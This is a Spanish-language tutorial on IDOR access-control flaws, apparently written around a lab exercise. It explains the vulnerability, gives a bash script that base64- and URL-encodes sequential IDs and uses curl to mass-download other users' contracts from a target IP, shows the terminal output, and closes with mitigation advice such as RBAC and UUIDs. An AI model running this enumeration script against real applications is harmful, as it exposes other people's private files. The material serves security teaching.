8 minuto(s) estimado(s) de lectura
Insecure Direct Object References (IDOR)
Control de acceso
Las vulnerabilidades de Referencias Directas a Objetos Inseguros (IDOR) son un tipo común de problema de seguridad en aplicaciones web. Estas ocurren cuando una aplicación web gestiona directamente referencias a objetos internos, como archivos o entradas de base de datos, a través de identificadores que son visibles y manipulables por el usuario, como en URLs o formularios.
Esto puede exponer a la aplicación a:
- Divulgación de información: Puedes acceder a datos sensibles de otros usuarios, como información financiera.
- Modificación no autorizada: Podrías alterar o eliminar datos de otros usuarios si la URL te permite realizar estas acciones.
- Elevación de privilegios: Si manipulas parámetros en la URL para acceder a funciones administrativas, podrías realizar acciones reservadas solo para los administradores.
Ejemplo
Una aplicación web te permite visualizar tu perfil mediante un enlace del tipo /profile/api.php/profile/1
. Este enlace muestra directamente datos de tu perfil por medio de una API.
Si cambias el número de /profile/api.php/profile/1
en la URL a 4
, podrías acceder a datos de otros usuarios registrados si la aplicación no verifica adecuadamente tus permisos.
Bypassing Encoded References
En muchos sistemas, los identificadores de objetos, como IDs de usuario o archivos, se transmiten en formatos codificados (por ejemplo, base64) para disfrazar la información o integrarse con tecnologías web de manera más fluida. Una vez que el atacante comprende cómo se estructuran los identificadores, puede modificarlos para intentar acceder a objetos a los que no debería tener acceso. Esto podría incluir cambiar un número de ID en un URL, parámetro de formulario o dentro de una cookie.
Consideremos el siguiente ejemplo, donde se identifica el parámetro contract
. Como se observa, este parámetro está codificado para URL.
Para determinar el proceso de codificación, se puede analizar el código fuente. Esto permite comprender su funcionamiento y facilita la creación de un script que extraiga la información de manera efectiva.
- Codificación en base64: Usa el comando
echo -n $i | base64
para convertir cada número a base64. - Codificación URL: Las cadenas base64 pueden contener los caracteres
+
,/
y=
, los cuales necesitan ser codificados para URLs para prevenir problemas en la interpretación de la URL. - Construcción de la URL completa: Combina la URL base con la cadena codificada.
- Descarga del archivo: Usa
curl
para descargar el archivo y lo guarda con un nombre basado en el número de iteración.
#!/bin/bash
downloadContracts() {
base_url="http://94.237.54.214:45922/download.php?contract="
for i in {1..20}; do
# Codificar el número en base64
encoded=$(echo -n $i | base64)
# Codificar la salida base64 para URL (reemplaza '+' por '%2B', '/' por '%2F' y '=' por '%3D')
url_encoded=${encoded//+/%2B}
url_encoded=${url_encoded//\//%2F}
url_encoded=${url_encoded//=/%3D}
# Construir la URL completa
full_url="${base_url}${url_encoded}"
# Descargar el archivo
curl -o "contract_${i}.pdf" "${full_url}"
done
}
# Llamada a la función
downloadContracts
┌─[root@kali]─[/home/user/idor]
└──╼ chmod +x downloadcontracts.sh
┌─[root@kali]─[/home/user/idor]
└──╼ ./downloadcontracts.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 30 100 30 0 0 72 0 --:--:-- --:--:-- --:--:-- 72
┌─[root@kali]─[/home/user/idor]
└──╼ ls
contract_10.pdf contract_12.pdf contract_14.pdf contract_16.pdf contract_18.pdf contract_1.pdf contract_2.pdf contract_4.pdf contract_6.pdf contract_8.pdf downloadcontracts.sh
contract_11.pdf contract_13.pdf contract_15.pdf contract_17.pdf contract_19.pdf contract_20.pdf contract_3.pdf contract_5.pdf contract_7.pdf contract_9.pdf
Recomendaciones
- Desarrollar un sistema robusto de control de acceso basado en roles (RBAC) para gestionar los permisos de los usuarios. Este sistema debe ser el núcleo de la aplicación y soportar la segmentación centralizada de roles y permisos.
- Asegurarse de que cada objeto y recurso en la aplicación esté asignado a roles específicos. Validar cada solicitud en el back-end para permitir o rechazar el acceso según los privilegios del rol del usuario.
- Los roles y privilegios del usuario deben gestionarse únicamente en el servidor, utilizando tokens de sesión seguros para autenticación y autorización.
- Implementar identificadores únicos y difíciles de adivinar, como UUIDs, para referenciar objetos en lugar de identificadores secuenciales o en texto claro.
- Generar y almacenar hashes de referencia de objetos en el servidor al momento de la creación del objeto. No calcular hashes en el front-end.
- Validar cada solicitud en el servidor para verificar que el usuario tiene los permisos adecuados antes de conceder acceso a cualquier recurso.